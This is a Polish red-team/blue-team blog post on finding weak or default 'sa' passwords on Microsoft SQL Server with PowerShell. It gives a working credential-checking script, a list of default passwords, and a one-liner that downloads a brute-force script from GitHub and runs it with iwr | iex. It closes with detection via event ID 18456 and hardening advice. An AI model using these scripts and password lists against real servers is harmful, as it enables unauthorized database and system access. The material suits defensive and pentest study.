Powershell spotyka Microsoft SQL Server - w poszukiwaniu haseł
To co może o mnie wiecie to to, że jedną z moich ulubionych usług w organizacjach - w kontekście działań ofensywnych - jest MSSQL. Myślę, że hashtag #lowhangingfruits idealnie tu pasuje.
Dlaczego? Trzy powody:
Sporo instalacji posiada domyślne lub łatwe hasła na użytkownika sa czyli superadmina, moje ulubione to puste hasło, “sa”, “reset2”, “Comarch!2011”, “password”,
aplikacje WWW wykorzystujące MSSQL nierzadko działają z uprawnieniami sa / superadmina,
kiedy uda nam się uzyskać dostęp do bazy danych jako superadmin (czy to poprzez słabe hasła czy choćby przez podatność typu SQL Injection), możemy uruchomić procedurę xp_cmdshell, która uruchomi nam polecenie w systemie operacyjnym z uprawnieniami użytkownika, z którego uruchomiona jest usługa MSSQL.
Zasadniczo, usługa MSSQL Server nasłuchuje na porcie TCP 1433 (chociaż należy sobie powiedzieć, że nie jest to regułą).
By sprawdzić, czy usługa MSSQL cierpi na problem słabego hasła możemy wykorzystać moduł Metasploita o nazwie mssql_login. Jeśli mamy jednak pod ręką Powershella, możemy to wykonać jeszcze szybciej.
Poniżej znajduje się kawałek kodu, który sprawdzi czy serwer MSSQL znajdujący się pod adresem 172.16.0.10 posiada hasło “Comarch!2011” na użytkownika sa czyli superadmina.
$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass"
try {
$Connection.Open()
echo "[OK] $_user@$_host - $_pass"
} catch [Exception] {
echo "[ERR] $_user@$_host - $_pass"
}
Jeśli faktycznie poświadczenia są poprawne, ujrzymy na terminalu:
[OK] sa@172.16.0.10 - Comarch!2011
Pięknie.
Hasła, wszędzie hasła
Skąd w ogóle wziąć natchnienie jakie hasła sprawdzać? Pamiętacie jak napisałem wyżej o moich ulubionych hasłach na użytkownika sa? Skąd je znam? Cóż, posłużę się tutaj starą zasadą mędrców i dam Wam wędkę, nie rybę - przyjrzyjcie się poniższym wynikom wyszukiwania, a wszystko stanie się jasne:
https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf.
No dobra, dla zabieganych, kilka ryb:
Wracając do Powershella, gotowa do użycia w boju funkcja próbująca się zalogować do określonych serwerów MSSQL może wyglądać tak: Invoke-MSSQLBrute.ps1
By ją sprawdzić w akcji, wykorzystamy Dockera, który szybko pozwoli postawić nam serwer MSSQL. Dwa, w nieco różnych wersjach, jeden na porcie 1433 z hasłem Comarch!2011, drugi na porcie 1432 z hasłem P@ssw0rd.
root@juliet:/home/drg# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=P@ssw0rd' -e 'MSSQL_PID=Express' -p 1432:1433 mcr.microsoft.com/mssql/server:2017-CU13
[...]
root@juliet:/home/drg/ubulab/mssql# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=Comarch!2011' -e 'MSSQL_PID=Express' -p 1433:1433 mcr.microsoft.com/mssql/server:2017-CU13
[...]
I w takim środowisku możemy skonsumować przygotowany skrypt, najpierw importując go:
iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/Invoke-MSSQLBrute.ps1 | iex
Invoke-MSSQLBrute -Hosts mssqlsrv1,"mssqlsrv2,1432" -Passwords "","sa","Comarch!2011","P@ssw0rd","kopytko" -Verbose
W pierwszej linijce importujemy przygotowany skrypt z wykorzystaniem Invoke-WebRequest (w skrócie iwr) + Invoke-Expression (w skrócie iex) prosto z Githuba (więc jeśli w Waszych organizacjach Github jest zaufaną/whitelistowaną stroną - przepraszam) po to, by w drugiej linijce go wykorzystać z naszymi dwoma hostami i kilkoma względnie oczywistymi hasłami.
Wynik działania tego skryptu przedstawię na takim obrazku:
Niektórzy z Was mogą sobie pomyśleć WTF - uruchamianie i tworzenie skryptów Powershell na Mac OS X w Visual Studio Code (z emulacją Vim-a, swoją drogą)!? Tak, piekło zamarzło. Ale działa to wszystko świetnie i jest oficjalnie wspierane przez Microsoft.
Niezależnie od środowiska uruchomieniowego, skrypt spróbował kilku haseł dla użytkownika sa na dwóch hostach i w obu przypadakach mu się ostatecznie udało. Cool.
Co dalej? Mając poświadczenia uprzywilejowanego użytkownika (sa), możemy uruchomić dowolne polecenie w systemie operacyjnym - o tym w kolejnym wpisie, a tymczasem..
Odrobina niebieskiego
Myślę, że każdy członek zespołu niebieskiego ma już intuicję czego w tej materii potrzebuje. Potrzebuje mieć informacje o próbach logowania do Microsoft SQL Server, zwłaszcza tych nieudanych. Za nieudane próby logowania odpowiada zdarzenie o ID 18456, natomiast za udane 18454.
Jeśli mamy logowanie tych zdarzeń włączone, możemy w prosty sposób z pomocą Powershella je odnaleźć:
(Get-EventLog application | where { $_.EventID -eq 18456 })|Out-GridView
Dorzuciliśmy |Out-GridView
, żeby mieć wyniki w nowym, wygodnym okienku z GUI:
Prawdopodobnie dobrze by było, żebyście od razu byli powiadamiani o takich zdarzeniach (choć to zależy od specyfiki Waszej organizacji), niezależnie od wszystkiego jest to też jeden z fajnych elementów wyjściowych do Threat Huntungu.
Red team vs Blue team
- Odróbcie dobrze lekcje - podczas rekonesansu postarajcie się dowiedzieć jakiego organizacja używa oprogramowania, szkorzystajcie z Google i dokumentacji producentów, by odnaleźć domyślne hasła MSSQL.
- Im mniej hałasu narobicie tym lepiej - poświęćcie jeszcze więcej czasu na rekonesans, by trafić hasłami w punkt.
- Jeśli macie ulubione hasła departamentu IT, spróbujcie je również wykorzystać jako hasło użytkownika sa. Jeśli nie macie tych haseł - spróbujcie je zdobyć ;)
- Zaplanujcie sobie chwilę czasu już teraz, by przygotować listę domyślnych haseł do przyszłych projektów - sprawdźcie jakich programów używa branża, z którą najczęściej macie do czynienia - przeczytajcie ich dokumentacje wdrożeniowe, zainstalujcie wersje próbne by sprawdzić jakie są domyślne hasła itd.
- Niech na Waszej liście fantów do zdobycia będą kody źródłowe - często programiści zaszywają w nich poświadczenia do swoich lokalnych instancji MSSQL, instancji na środowiska dev, uat, preprod itp.
- Zróbcie listę oprogramowania korzystającego z MSSQL i sprawdźcie czy instalacje MSSQL nie mają łatwych/domyślnych haseł na użytkownika sa (lub innego z wysokimi uprawnieniami).
- Zweryfikujcie czy instalacje serwerów MSSQL, które nasłuchują na interfejsach sieciowych muszą na nich nasłuchiwać - może wystarczy, że będą słuchały wyłącznie na localhost.
- Tam, gdzie MSSQL musi nasłuchiwać na interfejsach sieciowych, pochylcie się nad regułami firewalla, by jak najbardziej ograniczyć liczbę hostów, które będą się mogły z usługą łączyć.
- Proaktywnie lub chociaż raz na jakiś czas sprawdzajcie nieudane próby podłączenia do MSSQL - zdarzenia o ID 18456.
* * *